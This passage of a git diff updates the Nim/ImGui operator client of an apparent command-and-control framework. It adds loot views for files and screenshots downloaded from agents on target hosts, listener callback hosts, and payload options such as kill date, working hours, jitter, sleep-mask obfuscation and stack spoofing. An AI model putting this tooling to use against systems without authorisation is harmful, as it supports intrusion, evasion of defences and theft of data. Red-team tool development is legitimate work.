input @@ -332,13 +286,10 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) = igSetNextItemWidth(availableSize.x) let inputFlags = ImGuiInputTextFlags_EnterReturnsTrue.int32 or ImGuiInputTextFlags_EscapeClearsAll.int32 or ImGuiInputTextFlags_CallbackHistory.int32 or ImGuiInputTextFlags_CallbackCompletion.int32 - if igInputText("##Input", addr component.inputBuffer[0], MAX_INPUT_LENGTH, inputFlags, callback, cast[pointer](component)): + if igInputText("##Input", cast[cstring](addr component.inputBuffer[0]), MAX_INPUT_LENGTH, inputFlags, callback, cast[pointer](component)): - let command = ($(addr component.inputBuffer[0])).strip() + let command = ($cast[cstring]((addr component.inputBuffer[0]))).strip() if not command.isEmptyOrWhitespace(): - - component.addItem(LOG_COMMAND, command) - # Send command to team server component.handleAgentCommand(connection, command) diff --git a/src/client/views/dockspace.nim b/src/client/views/dockspace.nim index 2931782..1710bba 100644 --- a/src/client/views/dockspace.nim +++ b/src/client/views/dockspace.nim @@ -1,6 +1,6 @@ -import tables +import tables, strutils import imguin/[cimgui, glfw_opengl, simple] -import ../utils/appImGui +import ../utils/[appImGui, globals] type DockspaceComponent* = ref object of RootObj @@ -53,9 +53,11 @@ proc draw*(component: DockspaceComponent, showComponent: ptr bool, views: Table[ discard igDockBuilderSplitNode(dockspaceId, ImGuiDir_Down, 5.0f, dockBottom, dockTop) discard igDockBuilderSplitNode(dockTop[], ImGuiDir_Right, 0.5f, dockTopRight, dockTopLeft) - igDockBuilderDockWindow("Sessions [Table View]", dockTopLeft[]) - igDockBuilderDockWindow("Listeners", dockBottom[]) - igDockBuilderDockWindow("Eventlog", dockTopRight[]) + igDockBuilderDockWindow(WIDGET_SESSIONS, dockTopLeft[]) + igDockBuilderDockWindow(WIDGET_LISTENERS, dockBottom[]) + igDockBuilderDockWindow(WIDGET_EVENTLOG, dockTopRight[]) + igDockBuilderDockWindow(WIDGET_DOWNLOADS, dockBottom[]) + igDockBuilderDockWindow(WIDGET_SCREENSHOTS, dockBottom[]) igDockBuilderDockWindow("Dear ImGui Demo", dockTopRight[]) igDockBuilderFinish(dockspaceId) @@ -74,8 +76,18 @@ proc draw*(component: DockspaceComponent, showComponent: ptr bool, views: Table[ if igBeginMenu("Views", true): # Create a menu item to toggle each of the main views of the application for view, showView in views: - if igMenuItem(view, nil, showView[], showView != nil): - showView[] = not showView[] + if not view.startsWith("Loot:"): + if igMenuItem(view.cstring, nil, showView[], showView != nil): + showView[] = not showView[] + + if igBeginMenu("Loot", true): + for view, showView in views: + if view.startsWith("Loot:"): + let itemName = view.split(":")[1] + if igMenuItem(itemName.cstring, nil, showView[], showView != nil): + showView[] = not showView[] + igEndMenu() + igEndMenu() igEndMenuBar() \ No newline at end of file diff --git a/src/client/views/eventlog.nim b/src/client/views/eventlog.nim index 1c60226..cfb7377 100644 --- a/src/client/views/eventlog.nim +++ b/src/client/views/eventlog.nim @@ -1,117 +1,20 @@ -import strformat, strutils, times -import imguin/[cimgui, glfw_opengl, simple] -import ../utils/[appImGui, colors] -import ../../common/types +import imguin/[cimgui, glfw_opengl] +import ./widgets/textarea +import ../utils/appImGui +export addItem type EventlogComponent* = ref object of RootObj title: string - log*: ConsoleItems - textSelect: ptr TextSelect - showTimestamps: bool - -proc getText(item: ConsoleItem): cstring = - if item.timestamp > 0: - let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss") - return fmt"[{timestamp}]{$item.itemType}{item.text}".string - else: - return fmt"{$item.itemType}{item.text}".string - -proc getNumLines(data: pointer): csize_t {.cdecl.} = - if data.isNil: - return 0 - let log = cast[ConsoleItems](data) - return log.items.len().csize_t - -proc getLineAtIndex(i: csize_t, data: pointer, outLen: ptr csize_t): cstring {.cdecl.} = - if data.isNil: - return nil - let log = cast[ConsoleItems](data) - let line = log.items[i].getText() - if not outLen.isNil: - outLen[] = line.len.csize_t - return line + textarea*: TextareaWidget proc Eventlog*(title: string): EventlogComponent = result = new EventlogComponent result.title = title - result.log = new ConsoleItems - result.log.items = @[] - result.textSelect = textselect_create(getLineAtIndex, getNumLines, cast[pointer](result.log), 0) - result.showTimestamps = false - -#[ - API to add new log entry -]# -proc addItem*(component: EventlogComponent, itemType: LogType, data: string, timestamp: int64 = now().toTime().toUnix()) = - - for line in data.split("\n"): - component.log.items.add(ConsoleItem( - timestamp: timestamp, - itemType: itemType, - text: line - )) - -#[ - Drawing -]# -proc print(component: EventlogComponent, item: ConsoleItem) = - if (item.itemType != LOG_OUTPUT) and component.showTimestamps: - let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss") - igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), fmt"[{timestamp}]".cstring) - igSameLine(0.0f, 0.0f) - - case item.itemType: - of LOG_INFO, LOG_INFO_SHORT: - igTextColored(CONSOLE_INFO, $item.itemType) - of LOG_ERROR, LOG_ERROR_SHORT: - igTextColored(CONSOLE_ERROR, $item.itemType) - of LOG_SUCCESS, LOG_SUCCESS_SHORT: - igTextColored(CONSOLE_SUCCESS, $item.itemType) - of LOG_WARNING, LOG_WARNING_SHORT: - igTextColored(CONSOLE_WARNING, $item.itemType) - of LOG_COMMAND: - igTextColored(CONSOLE_COMMAND, $item.itemType) - of LOG_OUTPUT: - igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), $item.itemType) - - igSameLine(0.0f, 0.0f) - igTextUnformatted(item.text.cstring, nil) + result.textarea = Textarea(showTimestamps = false) proc draw*(component: EventlogComponent, showComponent: ptr bool) = - igBegin(component.title, showComponent, 0) + igBegin(component.title.cstring, showComponent, 0) defer: igEnd() - try: - # Set styles of the eventlog window - igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f)) - igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f)) - igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f)) - igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f) - - let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32 - if igBeginChild_Str("##Log", vec2(-1.0f, -1.0f), childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32): - # Display eventlog items - for item in component.log.items: - component.print(item) - - # Right click context menu to toggle timestamps in eventlog - if igBeginPopupContextWindow("EventlogSettings", ImGui_PopupFlags_MouseButtonRight.int32): - if igCheckbox("Show timestamps", addr component.showTimestamps): - igCloseCurrentPopup() - igEndPopup() - - component.textSelect.textselect_update() - - # Auto-scroll to bottom - if igGetScrollY() >= igGetScrollMaxY(): - igSetScrollHereY(1.0f) - - except IndexDefect: - # CTRL+A crashes when no items are in the eventlog - discard - - finally: - igPopStyleColor(3) - igPopStyleVar(1) - igEndChild() + component.textarea.draw(vec2(-1.0f, -1.0f)) \ No newline at end of file diff --git a/src/client/views/listeners.nim b/src/client/views/listeners.nim index eda4264..b509030 100644 --- a/src/client/views/listeners.nim +++ b/src/client/views/listeners.nim @@ -1,10 +1,9 @@ -import whisky import strutils import imguin/[cimgui, glfw_opengl, simple] -import ../utils/appImGui -import ../../common/[types, utils] import ./modals/[startListener, generatePayload] -import ../websocket +import ../utils/appImGui +import ../core/websocket +import ../../common/types type ListenersTableComponent* = ref object of RootObj @@ -23,7 +22,7 @@ proc ListenersTable*(title: string): ListenersTableComponent = result.generatePayloadModal = AgentModal() proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connection: WsConnection) = - igBegin(component.title, showComponent, 0) + igBegin(component.title.cstring, showComponent, 0) defer: igEnd() let textSpacing = igGetStyle().ItemSpacing.x @@ -64,12 +63,13 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti ImGui_TableFlags_SizingStretchSame.int32 ) - let cols: int32 = 4 + let cols: int32 = 5 if igBeginTable("Listeners", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f): igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0) igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Port", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("Callback Hosts", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Protocol", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupScrollFreeze(0, 1) @@ -86,14 +86,17 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti # Enable multi-select functionality igSetNextItemSelectionUserData(i) var isSelected = ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)) - discard igSelectable_Bool(listener.listenerId, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f)) + discard igSelectable_Bool(listener.listenerId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f)) if igTableSetColumnIndex(1): - igText(listener.address) + igText(listener.address.cstring) if igTableSetColumnIndex(2): - igText($listener.port) + igText(($listener.port).cstring) if igTableSetColumnIndex(3): - igText($listener.protocol) + for host in listener.hosts.split(";"): + igText(host.cstring) + if igTableSetColumnIndex(4): + igText(($listener.protocol).cstring) # Handle right-click context menu # Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected diff --git a/src/client/views/loot/downloads.nim b/src/client/views/loot/downloads.nim new file mode 100644 index 0000000..ed6aa4e --- /dev/null +++ b/src/client/views/loot/downloads.nim @@ -0,0 +1,145 @@ +import strformat, strutils, times, os, tables, native_dialogs +import imguin/[cimgui, glfw_opengl, simple] +import ../../utils/appImGui +import ../../../common/types +import ../../core/websocket +import ../widgets/textarea + +type + DownloadsComponent* = ref object of RootObj + title: string + items*: seq[LootItem] + contents*: Table[string, string] + textarea: TextareaWidget + selectedIndex: int + + +proc LootDownloads*(title: string): DownloadsComponent = + result = new DownloadsComponent + result.title = title + result.items = @[] + result.contents = initTable[string, string]() + result.selectedIndex = -1 + result.textarea = Textarea(showTimestamps = false, autoScroll = false) + +proc draw*(component: DownloadsComponent, showComponent: ptr bool, connection: WsConnection) = + igBegin(component.title.cstring, showComponent, 0) + defer: igEnd() + + var availableSize: ImVec2 + igGetContentRegionAvail(addr availableSize) + + # Left panel (file table) + let childFlags = ImGui_ChildFlags_ResizeX.int32 or ImGui_ChildFlags_NavFlattened.int32 + if igBeginChild_Str("##Left", vec2(availableSize.x * 0.66f, 0.0f), childFlags, ImGui_WindowFlags_None.int32): + + let tableFlags = ( + ImGui_TableFlags_Resizable.int32 or + ImGui_TableFlags_Reorderable.int32 or + ImGui_TableFlags_Hideable.int32 or + ImGui_TableFlags_HighlightHoveredColumn.int32 or + ImGui_TableFlags_RowBg.int32 or + ImGui_TableFlags_BordersV.int32 or + ImGui_TableFlags_BordersH.int32 or + ImGui_TableFlags_ScrollY.int32 or + ImGui_TableFlags_ScrollX.int32 or + ImGui_TableFlags_NoBordersInBodyUntilResize.int32 or + ImGui_TableFlags_SizingStretchSame.int32 + ) + + let cols: int32 = 6 + if igBeginTable("##Items", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f): + igTableSetupColumn("ID", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("AgentID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0) + igTableSetupColumn("Host", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("Path", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("Creation Date", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("Size", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupScrollFreeze(0, 1) + igTableHeadersRow() + + for i, item in component.items: + igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f) + + if igTableSetColumnIndex(0): + igPushID_Int(i.int32) + let isSelected = component.selectedIndex == i + if igSelectable_Bool(item.lootId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32 or ImGuiSelectableFlags_AllowOverlap.int32, vec2(0, 0)): + component.selectedIndex = i + component.textarea.clear() + + if igIsItemHovered(ImGuiHoveredFlags_None.int32) and igIsMouseClicked_Bool(ImGuiMouseButton_Right.int32, false): + component.selectedIndex = i + + igPopID() + + if igTableSetColumnIndex(1): + igText(item.agentId.cstring) + + if igTableSetColumnIndex(2): + igText(item.host.cstring) + + if igTableSetColumnIndex(3): + igText(item.path.extractFilename().replace("C_", "C:/").replace("_", "/").cstring) + + if igTableSetColumnIndex(4): + igText(item.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss").cstring) + + if igTableSetColumnIndex(5): + igText(($item.size).cstring) + + # Handle right-click context menu + if component.selectedIndex >= 0 and component.selectedIndex < component.items.len and igBeginPopupContextWindow("Downloads", ImGui_PopupFlags_MouseButtonRight.int32): + let item = component.items[component.selectedIndex] + + if igMenuItem("Download", nil, false, true): + # Download file + try: + let path = callDialogFileSave("Save File") + let data = component.contents[item.lootId] + writeFile(path, data) + except IOError: + discard + igCloseCurrentPopup() + + if igMenuItem("Remove", nil, false, true): + # Task team server to remove the loot item + connection.sendRemoveLoot(item.lootId) + component.items.delete(component.selectedIndex) + igCloseCurrentPopup() + + igEndPopup() + + igEndTable() + + igEndChild() + igSameLine(0.0f, 0.0f) + + # Right panel (file content) + if igBeginChild_Str("##Preview", vec2(0.0f, 0.0f), ImGui_ChildFlags_Borders.int32, ImGui_WindowFlags_None.int32): + + if component.selectedIndex >= 0 and component.selectedIndex < component.items.len: + let item = component.items[component.selectedIndex] + + if not component.contents.hasKey(item.lootId): + connection.sendGetLoot(item.lootId) + component.contents[item.lootId] = "" # Ensure that the sendGetLoot() function is sent only once by setting a value for the table key + + else: + igText(fmt"[{item.host}] ".cstring) + igSameLine(0.0f, 0.0f) + igText(item.path.extractFilename().replace("C_", "C:/").replace("_", "/").cstring) + + igDummy(vec2(0.0f, 5.0f)) + igSeparator() + igDummy(vec2(0.0f, 5.0f)) + + if component.textarea.isEmpty() and not component.contents[item.lootId].isEmptyOrWhitespace(): + component.textarea.addItem(LOG_OUTPUT, component.contents[item.lootId]) + + component.textarea.draw(vec2(-1.0f, -1.0f)) + + else: + igText("Select item to preview contents") + + igEndChild() \ No newline at end of file diff --git a/src/client/views/loot/screenshots.nim b/src/client/views/loot/screenshots.nim new file mode 100644 index 0000000..cb60119 --- /dev/null +++ b/src/client/views/loot/screenshots.nim @@ -0,0 +1,147 @@ +import times, tables, native_dialogs +import imguin/[cimgui, glfw_opengl, simple] +import ../../utils/appImGui +import ../../../common/[types, utils] +import ../../core/websocket + +type + ScreenshotTexture* = ref object + textureId*: GLuint + data*: string + width: int + height: int + + ScreenshotsComponent* = ref object of RootObj + title: string + items*: seq[LootItem] + selectedIndex: int + textures: Table[string, ScreenshotTexture] + +proc LootScreenshots*(title: string): ScreenshotsComponent = + result = new ScreenshotsComponent + result.title = title + result.items = @[] + result.selectedIndex = -1 + result.textures = initTable[string, ScreenshotTexture]() + +proc addTexture*(component: ScreenshotsComponent, lootId: string, data: string) = + var textureId: GLuint + let (width, height) = loadTextureFromBytes(string.toBytes(data), textureId) + component.textures[lootId] = ScreenshotTexture( + textureId: textureId, + data: data, + width: width, + height: height + ) + +proc draw*(component: ScreenshotsComponent, showComponent: ptr bool, connection: WsConnection) = + igBegin(component.title.cstring, showComponent, 0) + defer: igEnd() + + var availableSize: ImVec2 + igGetContentRegionAvail(addr availableSize) + + # Left panel (file table) + let childFlags = ImGui_ChildFlags_ResizeX.int32 or ImGui_ChildFlags_NavFlattened.int32 + if igBeginChild_Str("##Left", vec2(availableSize.x * 0.5f, 0.0f), childFlags, ImGui_WindowFlags_None.int32): + + let tableFlags = ( + ImGui_TableFlags_Resizable.int32 or + ImGui_TableFlags_Reorderable.int32 or + ImGui_TableFlags_Hideable.int32 or + ImGui_TableFlags_HighlightHoveredColumn.int32 or + ImGui_TableFlags_RowBg.int32 or + ImGui_TableFlags_BordersV.int32 or + ImGui_TableFlags_BordersH.int32 or + ImGui_TableFlags_ScrollY.int32 or + ImGui_TableFlags_ScrollX.int32 or + ImGui_TableFlags_NoBordersInBodyUntilResize.int32 or + ImGui_TableFlags_SizingStretchSame.int32 + ) + + let cols: int32 = 5 + if igBeginTable("##Items", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f): + igTableSetupColumn("ID", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("AgentID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0) + igTableSetupColumn("Host", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("Creation Date", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("File Size", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupScrollFreeze(0, 1) + igTableHeadersRow() + + for i, item in component.items: + igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f) + + if igTableSetColumnIndex(0): + igPushID_Int(i.int32) + let isSelected = component.selectedIndex == i + if igSelectable_Bool(item.lootId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32 or ImGuiSelectableFlags_AllowOverlap.int32, vec2(0, 0)): + component.selectedIndex = i + + if igIsItemHovered(ImGuiHoveredFlags_None.int32) and igIsMouseClicked_Bool(ImGuiMouseButton_Right.int32, false): + component.selectedIndex = i + + igPopID() + + if igTableSetColumnIndex(1): + igText(item.agentId.cstring) + + if igTableSetColumnIndex(2): + igText(item.host.cstring) + + if igTableSetColumnIndex(3): + igText(item.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss").cstring) + + if igTableSetColumnIndex(4): + igText(($item.size).cstring) + + # Handle right-click context menu + if component.selectedIndex >= 0 and component.selectedIndex < component.items.len and igBeginPopupContextWindow("Downloads", ImGui_PopupFlags_MouseButtonRight.int32): + + let item = component.items[component.selectedIndex] + + if igMenuItem("Download", nil, false, true): + # Download screenshot + try: + let path = callDialogFileSave("Save File") + let data = component.textures[item.lootId].data + writeFile(path, data) + except IOError: + discard + igCloseCurrentPopup() + + if igMenuItem("Remove", nil, false, true): + # Task team server to remove the loot item + connection.sendRemoveLoot(item.lootId) + component.items.delete(component.selectedIndex) + igCloseCurrentPopup() + + igEndPopup() + + igEndTable() + + igEndChild() + igSameLine(0.0f, 0.0f) + + # Right panel (file content) + if igBeginChild_Str("##Preview", vec2(0.0f, 0.0f), ImGui_ChildFlags_Borders.int32, ImGui_WindowFlags_None.int32): + + if component.selectedIndex >= 0 and component.selectedIndex < component.items.len: + + let item = component.items[component.selectedIndex] + + # Check if the texture for the loot item has already been loaded from the team server + # If the texture doesn't exist yet, send a request to the team server to retrieve and render it + if not component.textures.hasKey(item.lootId): + connection.sendGetLoot(item.lootId) + component.textures[item.lootId] = nil # Ensure that the sendGetLoot() function is sent only once by setting a value for the table key + + # Display the image preview + else: + let texture = component.textures[item.lootId] + if not texture.isNil(): + igImage(ImTextureRef(internal_TexData: nil, internal_TexID: texture.textureId), vec2(texture.width, texture.height), vec2(0, 0), vec2(1, 1)) + + else: + igText("Select item for preview.") + igEndChild() \ No newline at end of file diff --git a/src/client/views/modals/configureKillDate.nim b/src/client/views/modals/configureKillDate.nim new file mode 100644 index 0000000..f3f2f7e --- /dev/null +++ b/src/client/views/modals/configureKillDate.nim @@ -0,0 +1,115 @@ +import times +import imguin/[cimgui, glfw_opengl] +import ../../utils/appImGui + +type + KillDateModalComponent* = ref object of RootObj + killDateTime: ImPlotTime + killDateLevel: int32 + killDateHour: int32 + killDateMinute: int32 + killDateSecond: int32 + +proc KillDateModal*(): KillDateModalComponent = + result = new KillDateModalComponent + result.killDateLevel = 0 + result.killDateTime = ImPlotTIme() + + # Initialize to current date + # Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction + let now = now() + ImPlot_MakeTime(addr result.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0) + + result.killDateHour = 0 + result.killDateMinute = 0 + result.killDateSecond = 0 + +proc wrapValue(value: int32, max: int32): int32 = + result = value mod max + if result < 0: + result += max + +proc resetModalValues*(component: KillDateModalComponent) = + component.killDateLevel = 0 + component.killDateTime = ImPlotTIme() + + # Initialize to current date + let now = now() + ImPlot_MakeTime(addr component.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0) + + component.killDateHour = 0 + component.killDateMinute = 0 + component.killDateSecond = 0 + +proc draw*(component: KillDateModalComponent): int64 = + result = 0 + + # Center modal + let vp = igGetMainViewport() + var center: ImVec2 + ImGuiViewport_GetCenter(addr center, vp) + igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f)) + + let modalWidth = max(400.0f, vp.Size.x * 0.2) + igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32) + + var show = true + let windowFlags = ImGuiWindowFlags_None.int32 + if igBeginPopupModal("Configure Kill Date", addr show, windowFlags): + defer: igEndPopup() + + let textSpacing = igGetStyle().ItemSpacing.x + var availableSize: ImVec2 + + # Date picker + if ImPlot_ShowDatePicker("##KillDate", addr component.killDateLevel, addr component.killDateTime, nil, nil): + discard + + igDummy(vec2(0.0f, 10.0f)) + igSeparator() + igDummy(vec2(0.0f, 10.0f)) + + # Time input fields + var charSize: ImVec2 + igCalcTextSize(addr charSize, "00", nil, false, -1.0) + let charWidth = charSize.x + 10.0f + + let dateText = component.killDateTime.S.fromUnix().utc().format("dd. MMMM yyyy") & '\0' + igInputText("##Text", dateText.cstring, dateText.len().csize_t, ImGui_InputTextFlags_ReadOnly.int32, nil, nil) + igSameLine(0.0f, textSpacing) + + igPushItemWidth(charWidth) + igInputScalar("##KillDateHour", ImGuiDataType_S32.int32, addr component.killDateHour, nil, nil, "%02d", 0) + igPopItemWidth() + igSameLine(0.0f, 0.0f) + igText(":") + igSameLine(0.0f, 0.0f) + igPushItemWidth(charWidth) + igInputScalar("##HillDateMinute", ImGuiDataType_S32.int32, addr component.killDateMinute, nil, nil, "%02d", 0) + igPopItemWidth() + igSameLine(0.0f, 0.0f) + igText(":") + igSameLine(0.0f, 0.0f) + igPushItemWidth(charWidth) + igInputScalar("##KillDateSecond", ImGuiDataType_S32.int32, addr component.killDateSecond, nil, nil, "%02d", 0) + igPopItemWidth() + + # Wrap time values + component.killDateHour = wrapValue(component.killDateHour, 24) + component.killDateMinute = wrapValue(component.killDateMinute, 60) + component.killDateSecond = wrapValue(component.killDateSecond, 60) + + igGetContentRegionAvail(addr availableSize) + + igDummy(vec2(0.0f, 10.0f)) + + if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond + component.resetModalValues() + igCloseCurrentPopup() + + igSameLine(0.0f, textSpacing) + + if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + component.resetModalValues() + igCloseCurrentPopup() \ No newline at end of file diff --git a/src/client/views/modals/configureWorkingHours.nim b/src/client/views/modals/configureWorkingHours.nim new file mode 100644 index 0000000..9c0c085 --- /dev/null +++ b/src/client/views/modals/configureWorkingHours.nim @@ -0,0 +1,101 @@ +import imguin/[cimgui, glfw_opengl] +import ../../utils/appImGui +import ../../../common/types + +type + WorkingHoursModalComponent* = ref object of RootObj + workingHours: WorkingHours + +proc WorkingHoursModal*(): WorkingHoursModalComponent = + result = new WorkingHoursModalComponent + result.workingHours = WorkingHours( + enabled: false, + startHour: 9, + startMinute: 0, + endHour: 17, + endMinute: 0 + ) + +proc resetModalValues*(component: WorkingHoursModalComponent) = + component.workingHours = WorkingHours( + enabled: false, + startHour: 9, + startMinute: 0, + endHour: 17, + endMinute: 0 + ) + +proc wrapValue(value: int32, max: int32): int32 = + result = value mod max + if result < 0: + result += max + +proc draw*(component: WorkingHoursModalComponent): WorkingHours = + result = component.workingHours + + # Center modal + let vp = igGetMainViewport() + var center: ImVec2 + ImGuiViewport_GetCenter(addr center, vp) + igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f)) + + let modalWidth = max(400.0f, vp.Size.x * 0.2) + igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32) + + var show = true + let windowFlags = ImGuiWindowFlags_None.int32 + if igBeginPopupModal("Configure Working Hours", addr show, windowFlags): + defer: igEndPopup() + + let textSpacing = igGetStyle().ItemSpacing.x + var availableSize: ImVec2 + + var charSize: ImVec2 + igCalcTextSize(addr charSize, "00", nil, false, -1.0) + let charWidth = charSize.x + 10.0f + + igText("Start: ") + igSameLine(0.0f, textSpacing) + igPushItemWidth(charWidth) + igInputScalar("##StartHours", ImGuiDataType_S32.int32, addr component.workingHours.startHour, nil, nil, "%02d", 0) + igPopItemWidth() + igSameLine(0.0f, 0.0f) + igText(":") + igSameLine(0.0f, 0.0f) + igPushItemWidth(charWidth) + igInputScalar("##StartMinute", ImGuiDataType_S32.int32, addr component.workingHours.startMinute, nil, nil, "%02d", 0) + igPopItemWidth() + + igText("End: ") + igSameLine(0.0f, textSpacing) + igPushItemWidth(charWidth) + igInputScalar("##EndHour", ImGuiDataType_S32.int32, addr component.workingHours.endHour, nil, nil, "%02d", 0) + igPopItemWidth() + igSameLine(0.0f, 0.0f) + igText(":") + igSameLine(0.0f, 0.0f) + igPushItemWidth(charWidth) + igInputScalar("##EndMinute", ImGuiDataType_S32.int32, addr component.workingHours.endMinute, nil, nil, "%02d", 0) + igPopItemWidth() + + # Wrap time values + component.workingHours.startHour = wrapValue(component.workingHours.startHour, 24) + component.workingHours.endHour = wrapValue(component.workingHours.endHour, 24) + component.workingHours.startMinute = wrapValue(component.workingHours.startMinute, 60) + component.workingHours.endMinute = wrapValue(component.workingHours.endMinute, 60) + + igGetContentRegionAvail(addr availableSize) + + igDummy(vec2(0.0f, 10.0f)) + + if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + component.workingHours.enabled = true + result = component.workingHours + component.resetModalValues() + igCloseCurrentPopup() + + igSameLine(0.0f, textSpacing) + + if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + component.resetModalValues() + igCloseCurrentPopup() \ No newline at end of file diff --git a/src/client/views/modals/generatePayload.nim b/src/client/views/modals/generatePayload.nim index aa0314e..4716aa7 100644 --- a/src/client/views/modals/generatePayload.nim +++ b/src/client/views/modals/generatePayload.nim @@ -1,27 +1,49 @@ -import strutils, sequtils, times -import imguin/[cimgui, glfw_opengl, simple] -import ../../utils/[appImGui, colors] -import ../../../common/[types, profile, utils] +import strutils, strformat, sequtils, times +import imguin/[cimgui, glfw_opengl] +import ../widgets/[dualListSelection, textarea] +import ./[configureKillDate, configureWorkingHours] +import ../../utils/appImGui +import ../../../common/types import ../../../modules/manager -import ../widgets/dualListSelection +export addItem type AgentModalComponent* = ref object of RootObj listener: int32 - sleepDelay: uint32 + sleepDelay: uint32 + jitter: int32 sleepMask: int32 spoofStack: bool + killDateEnabled: bool + killDate: int64 + workingHoursEnabled: bool + workingHours: WorkingHours + verbose: bool sleepMaskTechniques: seq[string] - moduleSelection: DualListSelectionComponent[Module] - buildLog: ConsoleItems + moduleSelection: DualListSelectionWidget[Module] + buildLog*: TextareaWidget + killDateModal*: KillDateModalComponent + workingHoursModal*: WorkingHoursModalComponent proc AgentModal*(): AgentModalComponent = result = new AgentModalComponent result.listener = 0 result.sleepDelay = 5 + result.jitter = 15 result.sleepMask = 0 result.spoofStack = false + result.killDateEnabled = false + result.killDate = 0 + result.workingHoursEnabled = false + result.workingHours = WorkingHours( + enabled: false, + startHour: 0, + startMinute: 0, + endHour: 0, + endMinute: 0 + ) + result.verbose = false for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high: result.sleepMaskTechniques.add($technique) @@ -37,43 +59,29 @@ proc AgentModal*(): AgentModalComponent = return cmp(x.moduleType, y.moduleType) result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc) - - result.buildlog = new ConsoleItems - result.buildLog.items = @[] + result.buildLog = Textarea(showTimestamps = false) + result.killDateModal = KillDateModal() + result.workingHoursModal = WorkingHoursModal() proc resetModalValues*(component: AgentModalComponent) = component.listener = 0 component.sleepDelay = 5 + component.jitter = 15 component.sleepMask = 0 component.spoofStack = false + component.killDateEnabled = false + component.killDate = 0 + component.workingHoursEnabled = false + component.workingHours = WorkingHours( + enabled: false, + startHour: 0, + startMinute: 0, + endHour: 0, + endMinute: 0 + ) + component.verbose = false component.moduleSelection.reset() - component.buildLog.items = @[] - -proc addBuildlogItem*(component: AgentModalComponent, itemType: LogType, data: string, timestamp: int64 = now().toTime().toUnix()) = - for line in data.split("\n"): - component.buildLog.items.add(ConsoleItem( - timestamp: timestamp, - itemType: itemType, - text: line - )) - -proc print(component: AgentModalComponent, item: ConsoleItem) = - case item.itemType: - of LOG_INFO, LOG_INFO_SHORT: - igTextColored(CONSOLE_INFO, $item.itemType) - of LOG_ERROR, LOG_ERROR_SHORT: - igTextColored(CONSOLE_ERROR, $item.itemType) - of LOG_SUCCESS, LOG_SUCCESS_SHORT: - igTextColored(CONSOLE_SUCCESS, $item.itemType) - of LOG_WARNING, LOG_WARNING_SHORT: - igTextColored(CONSOLE_WARNING, $item.itemType) - of LOG_COMMAND: - igTextColored(CONSOLE_COMMAND, $item.itemType) - of LOG_OUTPUT: - 